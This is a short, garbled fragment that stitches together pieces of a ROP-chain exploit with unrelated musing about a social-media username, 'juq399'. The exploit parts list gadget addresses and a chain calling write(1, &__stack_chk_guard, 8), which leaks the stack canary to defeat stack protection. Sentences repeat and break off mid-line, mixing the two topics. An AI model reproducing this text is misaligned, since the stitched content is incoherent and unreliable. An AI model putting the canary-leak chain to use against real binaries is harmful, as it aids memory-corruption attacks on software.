write(1, &__stack_chk_guard, 8)
I should also mention platforms like Instagram, Twitter, etc., where usernames are key. Since social media handles are often a mix of letters and numbers, especially for uniqueness, maybe "juq399" was created that way to stand out or be memorable. juq399
Running the exploit:
pop rdi ; ret ; rdi = 1 (stdout) pop rsi ; pop r15 ; ret; rsi = &__stack_chk_guard pop rdx ; ret ; rdx = 8 mov rax, 1 ; ret ; syscall number for write (or use a libc write) syscall ; ret especially for uniqueness
# Build ROP chain for write(1, &canary, 8) pop_rdi = 0x4012b3 # pop rdi ; ret pop_rsi = 0x4012b1 # pop rsi ; pop r15 ; ret pop_rdx = 0x4012af # pop rdx ; ret syscall = 0x4012ab # syscall ; ret rdi = 1 (stdout) pop rsi